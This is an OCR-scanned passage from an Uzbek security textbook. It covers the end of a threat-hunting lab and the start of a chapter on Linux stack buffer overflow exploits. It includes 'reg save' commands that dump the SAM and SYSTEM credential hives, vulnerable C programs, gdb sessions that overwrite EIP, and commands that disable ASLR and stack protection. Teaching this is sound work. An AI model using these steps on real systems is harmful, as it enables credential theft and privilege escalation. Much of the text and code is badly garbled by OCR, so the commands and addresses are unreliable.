2. Ov turini va qi .o mos keladigan
3. Qidiruv mezonlariga
'shonch hosil gjlish. x <hd
4. Qidiruvni amalga ﬂshmis{;.nlv natijalarigd tla::::]r:; k
¥ a
MASLAHAT: Umuman, 4 a'lumot

. : . qgidiruv v
!alaxya qiling_, shunlﬂgdfk* q1d
Ish

an oldin tahdidni irT.hi—
utilganidek ekanligiga
am .

i aniglansa, tekshiruv
onch hosil giling li"“_‘r::ha;; ;::?:Imnaﬁi‘

e i our _ iamnasl ;i e la-
>- Natijalani ‘eml‘{lmh"jx:o berish [muiﬂmsa. boshiga qaytiladi. Tozala
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DSSII\:I Yordamida ma‘lumotlgy Manbalarini normallashtirish
Jarayon, ma lumotlar manbalarini, tyj; yi; ma’lumotlar manbalaridan jurnal-
larni normal]ashtms'h Zarurliginj, shuningdck. Open Source Security Event Meta-
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reg save HKLM sam sam
reg save HKLM system system

OSSEM’da ushbu kichik texnika bilan ishlash jarayoni ko'rib chigiladi.
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Laboratoriya ishi 9.3: Kimdir SAM faylidan nusxa
ko*chirganligi haqidagi gipoteza
Ushbu laboratoriyada kimdir domendan SAM faylini ko*chirgan degan faraz
asosida ov gilinadi. O°quv jarayonini tezlashtirish uchun AtomicRedTeam ning
Invoke-AtomicTest deb nomlangan avtomatlashtirilgan asboblarni sinovdan
o‘tkazish funksiyasidan foydalanib, testni ketma-ket rejimda ishga tushiriladi va
hujum gilish uchun buyruglarni go‘lda kiritish zaruratining oldi olinadi. Windows
10 xostida administrator huquqlariga ega PowerShell oynasida quyidagi buyrug
yordamida mubhit sozlanadi {https;ffdetectinnIab.nr.-twurkfusagefammicrcdteanﬂ

dan nusxa ko' chiring va joylashtiring).

Import-Module  "C: | Tools ',-;'rm.-iffRﬂ."l'l’mn'.m1':1hr—ui'-::-.-uivrmfrfgm'Jm'ah'-,-{ tamicRedTeam.

psdi” -Force
SPSDefaultParameterValues = @

Tools AtomicRedTeam atomies"}

“Iyvoke-AtomicTest: PathTod tomicsFolder™="C"\

kodda ko‘rsatilgandek, bitta test, bir nechta test yoki
tma-ketligi yordamida test bajariladi. — Showde-
ko‘rsatadi, lekin ularni bajarishni amalga
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oshirmaydi. Shuning uchun avval bu van
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Test THO03.002 _ShowDetailsBrief
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‘rilgan ma’lumotlar). Bir-
buyrugni, ajdod buyruq
bitta ko‘rinishda

chun Elasticsearch bilan
kin. Ko‘proq ma’lumot

)
laa



yordamida ma’lumotlarnj qanday normallashtirish muhokama qilindi. Keyin la!l;
didlarni ovlashning asosiy jarayﬂnlariga,jum Iadan,nm'lunmtlurga asufslifngﬂ" :‘b
gipolezaga asoslangan qidiruvlarga o'tild;. Kerakli ko*nikmalar asoslarini t_;:lnfrd

olish va bilimlarni kengaytirish Magsadida tuzilmani tagdim etish uchun bir qator
|laboratoriya ishlari bilan tanishib chigildi. Nihoyat, ushby ko*nikmalarni Inb?rif-
toriyadan tashqarida haqiqiy operatsion larmoqqa Qanday kengaytirish ko*rsatildi.
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[T BO*LIM.
XAKERLIK TIZIMLARI

10-BOB. SODDA LINUX EKSPLOITLAR]

Ushbu bobda quyidagi mavzular yoritiladij:
* Stak operatsiyalari va funksiyalarj chq :
* Bufer toshib ketishining oqgibatlari

* Lokal buferni toshdirish eksploitlari

* Eksploitni yaratish jarayonj

girish protseduralari

Nega eksploitlarni o'rganish muhim? i
lar va xavfsizlik mutaxassislari uchup rnu+
ma'lum bir zaiflikdan foydalanib bo'lma

- splﬂitlami o'rganish axlogiy xaker-
ydl'méjl; Ba'zan xavfsizlik mutaxassislari
bu hagda ochiqchasi T 1 deb noto"g"ri fikrga ega bo'ladilar va
Bir kighi zaiﬂicllt ui;:fs :i;a?ﬂ+ar' ammo hujumchilar bunday I%krflﬁdhi?l::f;:;irlur.
degani emas. Bulaming bal:- C(E;;?E: olmasa, by boshgasi ham buni gila c:lmﬂ}*di
ga bog'lig. Shuni - 445 resurslar va indjyi ahorat darajasi-
i e e ;smabkurnshiari zarur, BUjara}fundu?Jl-" s an"fbﬂ.k
talab gilish mﬁﬂsadi:iasi:)u:;:ss?a ':I-i 'i“i“?f mumkinligin kﬂ‘r‘;;;};::{fzar%:?zjzﬁi:"i
bo*lishi mumkin, i tasdiglovehi kodni ishlab chigishlari kerak
Ushbu bobda 32 bilj [ izi
: { MuX tizimj i

kf:-mpxrl:,iat‘mya vadtida ekspiog him;mld.a ‘.mkmng lo']
ni tartibini tasodifiylashtirish (ASLR
mavzulardan boshlashea qaror qjl

£a osonroq bo'*lishidir, .
64 bitli Linux tizimlari

ib ketishidan foydalanish.
"yish va manzillar maydo-
tibor qaratiladi, Quyidagi
ababi, ularning tushunish-
Mukammal egallagach, keyingi bob
falsion tushunchalarga qaratih;di,

Stek operatsj i
yalari vy funksj
valarni iri
Protsedurglayi g
unchasin; maktah

r0q tushuntirish 1,

4 Ii?;:mp}ruler Fanidagi stek tush
ari bilan t . . i
boshga hira?ﬁc::}:laSh Orlqah = Wi k
qo’yilgani £ umkin. Biror-bir idi iga
To*plamdan idishn; ula}%ntg:anin val tepada joylashgap idish Irgr II::" Idls:c:ﬁ:i-
— bu birinchi kiruychj, uxirg? :E.Sml}'ru:q aylganda, ip fm‘malik;; ieg*}ﬁ n}d?;ck
motlar tuzilmasidir. auvehi (FILO) XUsusiyatiga ega bu‘] ?g:Inl ma’lu-

oshxonasidagi tushlik idish-
da, av

234

“push;‘ -.:ieb taladi va bu jarayon as-
amalga oshiriladi. Shuningdek, stek-
mbly tili kodidagi pop

Stekka elementlar qo*shish jarayont
sembler tili kodida push buyrug'i yordamida i v 0
dan element chigarish jarayoni “pop” deb ataladi va
buyrug* vordamida bajariladi.

- Stekning o'sils borishi

Katta xotir
Kichik xotira; ESP EBP Ox T w
URRIRLAA wiavidagi munosabatiar
' o 'rrasiaag
EBP va ESP

10. 1-rasm. Stekdagi

‘ . 4. Stek teskari yn‘nalish.de},
pUHEKER S adi. Bu shuni anglatadiki,

2 sacha 0°S 5 s
]lziildan eng pﬂﬁﬂ: ra mangzilt, yugorn idishda

{ xoti
idishda eng YUIOT X0 % ek bilan bog'lan-

ki him registrla . )
l”\u;]r;ira kenga}rtirilgan stek ko‘rsatki-

43 , nr xotirad
Har bir ishlaydigan dastur xour

Ya'ni eng yugori xotira manzt

Oshxona idishi misolida. F’“Sll‘: hadi

€53 enp Lo nzili joylashach o Tor
£ past xotira ma istri jarayonning jory

8an: Kengaytirilgan asosiy k”hrsmgfcsﬂtilﬂani ek, EBP regis™ i har doim stek-

hi (ESP) registrlari. 10.] *rasn"d,? :;D~ ;ichahyu%rimfﬂ- ESP regisifi

Stek ramkasining asosidir (man® 5 ilda pastrod). : hu jumladan
i S yiladi (manZ! funksiyalar, shu ju s

nlligjyuqm, qams .IS:I: ﬂriitliielk I'unksi}'ﬂ_" i hﬁf:ii‘mﬂ“ mustaqil kod rr_:tudu-

ma'-—-hn.h da l.l |5|1L.m“” giii--.ialrl chm’]irilif-h{ m,u ': ﬂqimida o'tishga olib kFIadl: As-

li ;“(] funksiyasi mmﬂj bu dasturni bajars {a jarayon sodir bo'ladi: An"ana-
* Funksiya chagirilganda.

irishda uch iruvini quyidagicha
svani irk -k agiruvinl quyldag
Sembler tilidagi kodda funksiyan! chad m) funksiya chaq
82 ko'ra, chaqiruvchi

dastur (calling
yyorlaydi: : ste
ydi: trlari St
Birinchidan, funksiya E':"z:“:ﬂ*rsalma
Keyinchalik, kengaytim'é sandan SO _turn ad
nadi, shunda dastur funks!y® ﬂ{u;)“lish m“nzlhb {'I:riladi va
YOm ettirishi mumkin. Bu'iarﬂ;?n{cnﬂ Cc,mmﬂﬂd} . hi
Nihoyat, chaqiruy buyrt shtiriladi~ assembly) Stack Ca_nar}f I-
ajarish uchun EIP registrig% ioan assemP S pilyatsiya opsiyasi (1
Eslatma: Ushbu bobdd * r:nn—ﬁ“"' 3 rﬂte:tiama <otira va kompilyatorni
OYasini o*chirish uchun g:c'|;di. So‘ngei MU
%bda tasvirlanganidek) 1S in-
X gamnl £ um
imoya gilish XII bobda ©oPiS" ™

bda joyla shtiriladi.

P)"* registri 5tekda_saq-
n joyda bajarishni .:I.;_-,-
dress) deb ataladi.
funksiya manzili

i tarti
; a[ﬂSLﬂn {Fl
E ichi (El

o'rsalg
é to*xtaga

b
h

| kcih‘.ﬂ’ymﬂ

b
Laa
_h

. Ipinter
" EIP (Extended Instruction re




|

Assembler kodida chagiruy quyidagicha ko‘rinadi-

(x5653621b <+38>: mov edv. DIVORD PTR feq y
(x3655621d <+40>: mov eax, DWORD pTp Jeby+0x
OX56556220 <+43>: add eax (g ey

(k56556223 <+46>: mov eax DIV,

) : W0, ad ,
(x363556225 <+48>: sub esp, (v s el
Ox56556228 <+51>: push edx
OUx56336229 <+52>: push eay
Wx3655622a <+53>: call h365561ay <greeting>

Chagirilayotgan funksiyan; -

= ot yaning vazifalarj

registrini stekda saqg| . o ga

stek ramkasini ;:aﬁi‘] S‘?&I}ﬂjs?:;l :ESP reiislrini EBP registrida saqlash (joriy

uchun ESP regisirini g mahalliy o'zearuvehilariea iov airati

2 imk{miya?ilgs:]nar;ak;:??y;rlsh I-urafi:. Nihoyat, l‘unksgiy;t: t::lal-:lrii {JIT' 4 r;::z}j
adi. Ushbu jarayon “funksiya PrDIu;!.i"jt; b Ir“:]I :

21" deb ataladi.

Assembler kodida prolog quyidagicha ko*rinadi:

avval chaqiruvchi dasturning EBP

(0000119 <+0>: push ehp
0000 aa <+1>: moy ebp.esp
Ux(00011ac <+3>: push t'.-fi_rr

00001 ad <+4>: sub esp, O/ 94

E ifa “leave” bayonotining bir
R ;Ch}gga; namfnasz Yaxshi bo‘lsa, Eip haliiﬂﬂgﬁ:ﬂdl;unks;{ya :r?:
bilan davom etadj. L agiruvidan kc}-if;inh;;ygnit

Assembler kodida epilog quyidagicha ko*pi

Ox00001113 <+ 74>, leave
Ox0000114 <+ 75> poy

Bufer toshib ketishini

Y o Qidirayotganine:
qayta gayta ko rasiz. ¥ E.arlmgizda, ushhu kich;k mﬂﬂlaj I{nd!ﬂl’i"i

Endi sizda asosiy tushﬂll'::zr]mshih St (overflow)
motlarga o*tishimiz mumkin, [] abigdm avjud, shu sabapy; boshqa qizigarli ma’lu-
: a Dayon

Xolira i :
da saqlash uchun myhim rol o* M elilganidek, buferlar ma'lumotlarni
saglovehi bufer| ; ynaydi. Biznj A :

184 qaratilgan. Ushbu buferlaming jop e, © Uborimiz satrlari

aming ichida kutilganidan ko*prod
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ma'lumot kiritishga to*sqinlik giluvehi mexanimlar‘mavjud Ew:?'.:ﬁitpada‘ ?:5-
turchilar ehtiyot bo*lmasa, ajratilgan xotira ma;-,rcli:um tetzld:fn irilishi mumkin.
Masalan, quyidagi kod 10 baytlik xotira qatorint € iy

char sl [10]:
_ 2 iiasi ni ‘ladi?
Agar siz quyidagi amallarni bajarsangiz, bu amallar natijasi nima bo 1

strepy: (sirl, o AAAAAAAAAAAAAAAAAAAAAAAAALA

Keling, bilib olamiz:

overflow.e
Hinclde <string h=
iR maing )}

char siel f10];  declare a 10 byte siring

next, copy 35 bytes of "A" 10 strl AAAAAAAAAAAA:
strepy (], ", A AAAAAAAAAAAAAAAAAL
retrn ):
/
sh jamyonini amalga oshiri-

:lish va bajari s :
qlhz?ainn liiimida bo*lganimiz sababli, av-

a gilish uchun gee-multilib paketi-
[lamni bajaring:

yatsiya
Linux operaisi
knm pilyatﬁl?"
qu}fid:‘igl ama

32 bitli dasturlamni kOmF’E'
shimiz zarur, Biz 64 bitli Kali
val 32 bitlj ikkilik fayllarni 0z
Ni 0*rnatishimiz lozim. Buning uchun

apt install gn--mu.h‘:‘hh

s s & sudo : ini
sudo apt update & gtack Canary himoyasini

dam :
qa protector bayroglari

evingi
g. keying _fno-stack-

an so'n
Igand nj -m32 va

dasturimiz
lish zarur:

gee-multilib o*rnatl
O"chirishdir. Buning uchun ¢
Yordamida kompilyatsiya @'
el overflowe
§ gee -m32 —,ﬁm-.'.'nu'kapmn:t'fﬂr' -0 overfl

8 Joverflow .
aw It overfion

zsh: segmentation fan i qobig ‘ini ildiz darajasi-

gilish zarur. € delarde,
s fovdalamvehi qo-
e imtivozlaringizn

nveh

Ao fovdelal _
o rga rioyd

'”_\-jr’” fi= Ilr r' I{_” ri..;fiffﬂflfirl
el ] - Y5l
g dohigedan ajiratish gt gy : :;’;.h"rn'c'f!f # belgis. M
ileliz oy asidagi qobid helgist! f“:’ b ko rsatiid
- clfeastelele \ (MLl
Vs o bl of g fepnietedt :
8T esa 8 helgisi hiln b 8 1 ks eliraet
(]

”"‘r"”'.k'tHf:'n_ﬂ.:;':nf I|'.I;.'.'H“'II fotrse

Estatma: inuy oper

feir SR




Bundan tashqari, imtiyozlaringizni oshirganingizni tasdiglash uchun whoami
yoki id kabi buyruglarmi ishlatishingiz lozim.

Nega segmentatsiya xatosiga duch keldingiz? Keling, bu masalani gdb (GNU
Debugger)ni ishga tushirish orqali ko'rib chigamiz:

3 gdb -q overflow
Reading symbols from overflow,

fNo debugging symbols Jound in overfiow)
fzdh) r

Starting program: homekali'GHENG o)y 10/overfiow

Program received signal SIGSEG ) ngmﬂ.'rm.*fmr_ faudy,
Oxd1414141 in 22 )

(gdb) info reg eip
eip (41414141 Oxd141414;
fedb) q

A debugging session is active,

Inferior | [process 7790] will be killed
Ouit amyway? (v or ) »

Ko'rib turganingizdek, gdp (gnu Debugger)da dasturni ishga tushirganda,
Ux41414141 manzilida ko'‘rsatmalam; bajarishga urinish nosozlikka olib kela-
di. Ushbu hexadecimal qiymat AAAA'D; anglatadi, chunki Ox41 ASCII kodida
A harfini ifodalaydi, Shuningdek, Eip (Extended Instruction Pointer) registrining
A harflari bilan buzilganligini aniglash mumkin: by holatda EIp regist;i fagat A
harflari bilan to*lib, dastur o', funksiyasini bajarishda qulay bo*Imaydi va natijada
qulashga mahkum boJag;. Esingizda bo*Isin, funksiya (bu holda main) qaytishgd
harakal‘qilrganda, saglangan E|p qiymati stekdan chiqariladi. 0x41414141 manzili
Jarayanmglz segmentidan tashqarida bu‘lganligi sababli. segmentatsiya xatosigd

r - I = & B ]

. E.*.fﬂ'!m'ﬂ. _'l.f.:m..n’ N l;”_i-ff,u,;'ll”wm fu.s‘m.f{'ﬁq fﬂ'.‘r‘fﬁh'i'\.r".l (AST R ‘,””-I.F”ff.llw
dasiuraing i ber timlar funmiladean, iy, Vergti -
tihini .m.'-uf.i'.rhl'f;r'.h.!u'.r'.-.'a’f orgali r'nh.r’u_m":', hir ese tajovuzkornine e b bir cotir
manziliga ishonehii o tishini qivintashiipadi ASLR 'ni o p

Fieler quvidagilarni a’u”‘”r”;lw S echo g | sudo tee
Space

o - ddie
k. vig ma va kutbxonalar ta

chirish wehun buyrig sai-
/F-‘wc'f.'{l'.'-/.-'1c'rm*.-%-cmdnmf:t’_ Ve

Endi meet.¢ 24 qilingan hujumnj ko'rib chigamiz,

"ASLR (Address space lay oy randnmizaliunj

= manzil makon; Joylashuvini tasodifiy lashtirish

i v

mida toshib ketish
«ua ichi 10.1: meet.c }’“"da"m ¢ en leatoing dis
toriya ishi 10.1: meet. idagicha ko'ri
Il bobda l:;:;u:?mqluii bilan tanishdingiz. U quydag
0 . .

medt.e

finclude <sedio h>
tinelude <string.h= S *empl) |

void grectingichar *templ.c 'r",: rh rilmrsuﬂd the name -
char name[400]; /* string variati -tion argument 10 AT

_ L s rl—;p_ri'h\‘.’_ﬁ"ﬂ oint out the greeting
”WF';T: ;‘;";;' ‘:: F:li::qtu" temp . namel: pri
printft"Hello "os es\n

)
|

[
- ® v ) itle & name
int main(int arge, cha [ 'J.;:]-L ii."f function. pass =
ki . gV =f1 s )
greetingrargvfl]. arg 11 arevi2):
printfi"Bye “as Yas'n", argv/ o

return 0 exit program :
/ . ich uchun Python'dan foydalani SI;
ferni to'1dirish hun, uni avval kompilyatsty:

‘IE':"“ uc 1 imkonini beradi.

bﬂhhshi mumkin:

say “bye”

ik bu

meet.c faylida 400 b‘l)rllhz; dhig

Juda qulay. Python talgin gii! q satrida 12 b

qilish shart emas, bu esa hu}T::a python buyrug !
Hozirda sizga kerak bo'lgan A

. . i sinab
' i — bum sina
python -¢ “printfeA»*600) qarad

i] i I'I.l
harﬁnt C
vru iqi 600 ta 2
l q ﬁ!andaﬂ chlqlShgﬂ |
51hL|. uyr - . g
«f i /

kt}*l’ll‘i 1'! A 'j‘{]'\'h Vil |I||”|||!I|l':! (]

! &
|'|'I'I-'|"H:|f”f L

b
affar {/ .
S wdi

: Taskari belg )
Eslatma: Teskari be P Camiz:
" divimarni gaviarish i<hga tushiramiz
.o ailamiz V@
Endi meet.c anpilyulswﬂ gilam

- ff‘-"’”r i
sary=2 +fi0-S1% o
lary ==
fe-rontNIcE.

§ goc -m32 " _m‘rm;ri-rm!-.ﬂm |
< execstack -o meel rm;'i'i-ll e 10)'
S./meet My “python -¢ Prit

Hello My A4 AAAAAAA

idagicha top-
qu}rl[jaglc
Bye Mr 4444444444

ifatida
.y parametr 3!
klnl:!'ﬂ P

i ik
¢ ﬂ{} A n h ‘meet J'l?fr
gy e E ion fault (cor¢ dumped) /m
1 i
shifﬂmiz: o sfg"”mal
600) zsh
[ ]
. oppint(eAY
o 8 /meet My “python € '
Python ¢ ‘print(aAv*600) -




Kutilganidek, 400 baytli bufer to*lib ketdi: umid qilamaizki, EIP ham. Bunga
ishonch hosil gilish uchun gdb’ni gayta ishga tushiring:

5 gdb g /meet

Reading symbols fiom /meet...

fedb) run Mr “python -¢ ‘prinif™A"*600)"

Starting program: ‘home/kali/GHHvE/chl imeet Mr “python -¢ ‘printi"4"*600)""
Program received signal SIGSEGY Segmentation fm.-.f;._

Oxf7ebed7f in 22 () from Aib32/ibe.s0.6

fedby info reg eip

eip Uxf7ebed7f OxfTete37f

Eslatma: givimatlaringiz o =aro farglanishi m
dir. biz aniy xotira givmatlari hagidea emas. b
rishga e tibor gar umaogdamiz

HHILIH JF.{HHII flflrl.{ﬁl;j.ulf ”]I'._i“r” Ilr“ r_,"_
l”rlrhr ”HH“:T[H," ,{,r.lllllllt'fr,l\f.1't Hil i‘l‘l’“l‘r””;”'

Biz nafaqat EIP (Instruction Poin i ! 5 :
oshas i maydorig o gimin s Ko e e
Eﬁ?ﬂ?ﬂﬁﬂf&?iffzf’fﬂﬁﬁ"’“igﬂ 9o ngirog qiiingandin so'ng, grcgtiﬁﬂ
funksiyasini chagiradi. Shundan sqrpe. " 2448, libe kutubxonasida viprintfl)
di. Birog bu jara}'unda. nimalar n " i Frp"."m:' funksiyasi strlen()'ni chaqira-
finksiyalae maViud, shominge o hm'?' g l{-n"hshi mumkin? Sizda bir nechta ichki
stk t0'lih ketsa. b oot & uchun har biri stekka yangi freym qo*shiladi. Agar

i P[Tntf{} funks:yas!ga uzali_lgan argumentlarni chalkashtibrih
12, funksiya chaqiruvi va prolog

I ki y
W eparuvchilan

kshik xourn
oukBlLETIR

-— .
Skaiey ity bueishi Fo @t i
(s ATIRYT

Agar EIP (Instruction Point
_ °r)dan tashqgari i

- 1 Pointer) qarida yoz y :
o siva ?rgf.lmcﬂlla_nm YQayta yozishga oih kj; d‘Sﬂngﬁlz. - lempri dﬂ_" -

an foydalanishi natijasida cladi. printf() funksiyasi temp!
ni sinab ko‘rish uchyp db .
ishga tushirganimizda, lfiza : I“]ga‘ murojaat gilaylik. Gdb'ni qayta

M olishga harakat qilishimiz mumkin:

(adb) list
1/ meet.c
2 #include <stdig p
3 #include <slring h

" needed for Sereen printing

.ﬁ‘-‘i'(‘py

= needed for

/ i e say helle
emp2){ // greeting function to say e

1o hold the name " -
o e with the bifamons SIve oy

J print out the greeting

o |'”J'-fjLL’rl'l."”I”_uiri'f'H"‘ rn_-mp.’.p.frf_l'r ;i'
3 char namef400]; // string var iable =
6 strepytname, temp). - COp -'*"3-"""'"‘1r
?Pf'ﬂl{ﬁ "}f["”{'i Opy Pasin ". li;'_-'ﬂ‘fpi’. nmietd
Nt o it for arguments
0 ;m mainfint argc. char * argv[J)l / note fh:ﬁ;::”ﬁ:& i
10 grectingrargvf1]. argvl 2 1 call functiatt, P
fedbi b 7 ; o lie?
Breakpaing 1 ar Ox11d0: file meet. A _
teapipnty ™ 600} ; it "4 "*600)"
f - M b = HHN -I ﬁ A [ .rhn" -l pﬂ'”-” 4
Hf.!dhjlum Mr niu;- I-’; i/ GHHv6/chl0/meet Mr [{11 O amonyarockbid
Slarting program: [ome (x4 1414141 <error -  at address Ox41414141
Breakpoimt 1, greeting IR‘:J}F:’;'”'J 1 <error: Cannot grcess memar
Oxdi414141=, remp2=tx .
¢ meet.c: 7 . 4/ gyinit ot the greeting
:;I:::;:.r:? ‘H-” o O%s %S remp!. peaeds print o
7 ello Yes %sin" )
' . ini tlari bu-
ksiyalarining argumen 2
Oldingi tanlangan satrda temp! V2 w“}l;l;iri]:and?rﬂx“]“‘”“u ga ishora gi-
Zilgﬂﬁligi;l ko'rishingiz mumkin Kﬂ‘rﬂlkmmmn shundaki, printf() nollami bitia
gl Y b keladi. Shunday qilib
ladi va qj we (voki nol)ga tene: . olib keladi. y gilib,
a atl: 0Kl : xatoga : - i
Kirish ol “h; I {i};ma}'di va shuning U¢t uza keyin kerakli effekiga erishguni-
biz gy ElLal;di gabu qa harflaridan boshlaymiZ
= =U> Kabi kamrog .

- ! .kin oshiramiz:
Mizcha bu raqamni asta-sekin osh

(gdby d | <remave breakpoint {-jn-mﬂ"
(gdb) run Mr “python -¢ f"'*;’.’;;'f JHveehll

Starting program. home/ K4

o, gt
ymeet Mr ‘python -¢ prinit A0
meet i A

(AAAAAAAAAAAAAAAAAAAAA-

g AAdAL
iy (AAAAA LAAAAAAAAAAAS i
O AAAAAAAAAAAAAAAAAAAA-
: LAAAAAAAAA:
_I'_-i,-l.-I.-I.-i,;1.-;,4,.L.[,|,.L.L.|‘.|,.| e _LLL.]_-{:L-I:I- 144444 it
AMARAANARAAAANEFTT AAAAAAAAAAAAAAAAAAAAA,
Adddaq, L4 4 14AAAAAAAAA
AAAAAAMAAAAAL g pdd Ta—
ssoingrrrer i LAAAAAAAAAAAAAAAAAAAAN,
AdAAAAA
AAAAA4 44444444444 i AR JAAAAA 14 il
AAAAAAAAAARAAMZET™ (AAAAAAAAAAAAAAAAAAAAAAA-
4 JAAAAA:
_J_-I'.-I.-L-I'.-.';L-!.-l_rI,-I,-I'.-I'.-I.-T,-L-I - |,;.],.I.-frHA-'!"I"I‘J'-LI
AAAAAAAAAAAAAAAAAZZT
A4 AAAAAAAAAAAA
e e e 4 iom fanult.
J-'l-'|-f-I.-L-f_-L-!.-L-!-'!-L'T.-I.-!J;'I;:é *:F Gl. Sc'gﬂ"-’”"mm )
Program received sign® > = ‘.u.-.r.' R
Mt “”I’.‘L'_'ﬂ. H;Iﬂ"— l'.h'r’” af "r"}; "lrg}'f:jlil'l M 5 A
I pringfi"Bye %as a5 argvl 1}
(gdb) info reg ebp €1p ,
ebp Oxfifjo041 OS0! i emaint477
eip 0x5655621e 0x5653621¢ ’
(&dh) g 408)

tarirdl
(gelb) run Mr ‘python € prit

241




L S
Program received signal SIGSEG) Segmentation fault.
(x56556202 in main farge=<error reading variable: Cam
d 1414149>, argv=<ervor reading variahle: Cannot a
(x4 141414d>) at meet.c: 10
10 greetinglargv( 1], argvf2]);
(gdb) info reg ebp eip
ebp Ox4141414] Ox4141414]
eip Ox36556202 0x56556202 <main+ 19
(gdb) run Mr “python -¢ ‘prim(*4*+4} 27

101 aceess memory at address
eCess memory af acldress

" eall function, pass title & nane

Program received signal SIGSEG Y
fxdi414141 in 27 )

(gdb) info reg ebp eip

ebp Ox41414141 Ox4141414]

elp ed 1414141 Ox4141414]

fedbi g

A debugging session is active.
Inferior 1 [process 8757] will be killed
Ouit anyway? (y or n) y

Segmentation faulr,

. S ; _ Aga ta’sir gilmasdan, uni asta-se-
kin ushmshmgaz_ kerak. Bupmg sababi shundaki, haddan tashqari 10*Idirilgandan
S0 ng, darhol printf() chagiruvi keladi, By’ 7y sizda ko'proq “tebranish xonasi”
bﬂ"”"'_;“:‘mk";]"’ﬂhbu_ haqda juda ko'p iashVishlanishingiz shart emas. Masalan,
agar zail strepy() chagiruvidan keyin hech narsg ketmas; i

il § masa, 2 baytdan ortiq
to*hib ketish muammosi bo*Imaydi, s

Eslatma! Escly ftingki. by yerdy fude oddiy 3
nilgan: haqiqiv havorda Shunga o 'xshash ko lab
ehrimali bor Birog hi= Sizg

o met i hir
ba lgan ragamlarni berishdan §

mitkannel koddan fovdealea-
Muanmolarga duch kelishingic

=aif kod parchasing 1, Teivish welun zarur

@ ra. konsepsivani tushunishingi=ni xohlavmiz

_ ib ketishinj i i

Bufer to*lib ketishi bilan rt e st
mumkin, Birinchisi, xi; at k
Jarayon Xotirasi bilan

bc.‘!ishijuda 0son. Birog by vaziyatd

: 0sh tortish, Yuqorida ko*rganingizdek.
ishlashda segmentatsiyy yatosi (segmentation fault) sodif
a dasturiy ta’minoy ishlab chigaruvchisi bilan

atija, buzilgan dastur e’tiborni mnisf]l

oo s kodni baiari hqarilishi mum-
s nuvchi darajasida zarm'i‘l }\.Gdlm hajaf'lsh u‘chl._m hf’s i
E::::“:; ; I]IIL*;}’:;?& dastur foydalanuvehi imtiyozlari darajasida ishlaganda yuzag
keladi. o e RIS cin bot chinchi hodisa shunda-
Bufer to*lib ketganda sodir bo Iis)h;;?rl::l;z Eilzgzgrl;jasida zararli kodni ba-
!\'i.+EI P (Extended [n%lltzﬁzlz?u;ﬂi?:rﬂunﬂﬂ}’ iy d.astur _xauf.rl‘sizlik _Zaiﬁigldan
Jarish uc!}un .hf}shqmjl.l mrovli ruxsatlar olishga olib kﬂl?h! murn!u‘n. Nn
epalanily St ek - ida ba’zifunksiyalar, masalan, foydalanuy chllﬂm]ﬂg
Miﬁ,ﬂ]_ u{fhu“‘ Lm;} “:;:::d;; uchun fagat root !‘n}rdalunyvchisi tf::hun Imul;ll::;ié;
parollarini ) Z.g:'fnwll.;S Apar bunday funksiyalarga ruxsat I:fenl_gan bo‘lsa, .u :';siziiﬂi
langan hr:.:*llshl |'*"m " gm dalanib hujumga un::hraszz-j tizimning bfuu.uluJ lh[i) e
to'lib ketish zaifl 1gifmghu§day qilib, foydalanuvchi identifikatori (SU 2o
o O lash (SGID) tushunchalari ba'z i lmiog Gl sl AR
ruhni 'dﬂnfl“kai'm{i:iﬂs"shlashini ta’minlash uchun ishlab chiqi ga:; b rrm;‘i ‘1diz
imtiyozlari darajasi l? I oshirishga imkon beradi. Masalan, pi?swg m}imIiyuzsiz
Brayenlami VigEnei tomonidan egallangan bo‘lishi mum mt El boshlanadi
Ibydal“"“Ch!sl .:mnl'.'h rugni ishga tushirsa, jarayon root sifati al}n'[adi =
e m'dibu I:::?u‘iganiri;h uchun kerakli r}'xs?t-lﬁziszginda mlivaf-
va foydalanuvehl PO SUID / SGID dasturi zaif bo' Ry il s
yerda muammo shundakl, aruh egasining imtiyozlarini pasayis '-gda i buyrugni
fagiyatli ishlasi; l;yl F:]:,Iﬂgqu [D dasturini yaratish uchun siz quyidagi buy
(eng yomon holatda - e

bajarishingiz kerak:

< filename=
chmod u~ or chmod 4755 <filt

s iladi ID (Set User ID)

: b alga oshiriladi va SU~ =y
quglari blllanii'i“mﬁ dalanuvchi tomonidan IS:|1JHlIbhga
s i af-I nean bo'lsa, dastur ishga [ushmlg:ml.ia.
belgi aasilan root) huguqlarini olish mumkin.

Dastur fayl egasining l_m_
sozlamalari dasturga egasn;mi;,ug‘i
imkon beradi. Agar SUID bay o
jarayon egasi sifatida dastur €2

; el
$ sudo chown roof:roof Mee
+ ef
§ sudo chmod u*5 Me€

o Y -4 | meet
br-:au" :::'r.‘ root root 16736 Jul 101
=N )

ini bildiradi. Ushbu maydon-
_ . rav] ruxsatlarini bildira ! ;
wchi ma?@i&iﬁmdi: havola (1), kal?l?‘g (@ Fﬂ‘.\l C:d'“:hi
o [unn;a fayl egasining ruxsatlarini ifodalaydi: 0qis
siya €

Oldingi sutnﬁng hirrn
ning birinchi pozitsiyast ¥ :
fayl (-). Keyingi uchta poz S
(r), yozish (w) va |:!El_]ﬂ:rlsh (

Agar SUID biti
lan almashtiriladi. Bu $
huquqlari bilan amalga 05

iari ini bildiruvehi x belgisi s bi-
? . bajarish ruxsalmf : s
o*rnatilgan bo IZ?Li‘ t-!a}r] ishga £u5hll:llgal'}da, u fayldegaimmng
huni %]ng{';]?:—;u holda ildiz satrdagi uchinchi maydon).
hiriladi




Lokal buferni to*ldirish eksploitlari

Lokal buferni to*Idirish eksploitlarining asosiy magsadlaridan biri imtiyoz-
larni oshirish maqsadida o‘zboshimchalik bijan kodni bajarish imkoni yatini olish
uchun EIP (Extended Instruction Pointer)ni boshqarishdir. Ushbu bo'limda biz

ardan qanday foydalanishni ko‘rib chigamiz.

Laboratoriya ishi 10,2 Eksploit komponentlari
Buferni to*Idirish holatida samarali ishlashnj yaratish uchun quyidagi kom-

ponentlardan foydalangan holda dastur kutganidan kattarog bufer yaratishingiz
mumkin: NOP sled, ShellCode va qaytish manzili (returm address),

. NOP Sled
Assembler kodida NOP (no operation ) buyrug‘i hech narsa gilmaslik va ke-
}'ingl buquqa o'tishni Eﬂg!ﬂtﬂdi. Xakeriar bu :{usugi}raldan r“}'dﬂli]ﬂih. lt‘lhldirish

uchun NOP'ni qo*llashni o'rgandilar, NOp operatsiyalari buferning boshida joy-
lashtirilganda, bu holat «NOP sledy

Gyt -+ Sie» deb ataladi, Agar EIP NOP sledni ko‘rsatsa,
protsessor to g ndan-lu*g*n keylngi nperalsiyaga silji}fdi, X86 tizimlarida 0x90
operatsiya kodi NOP sifatida belgilan

ShellCode — bu xaker
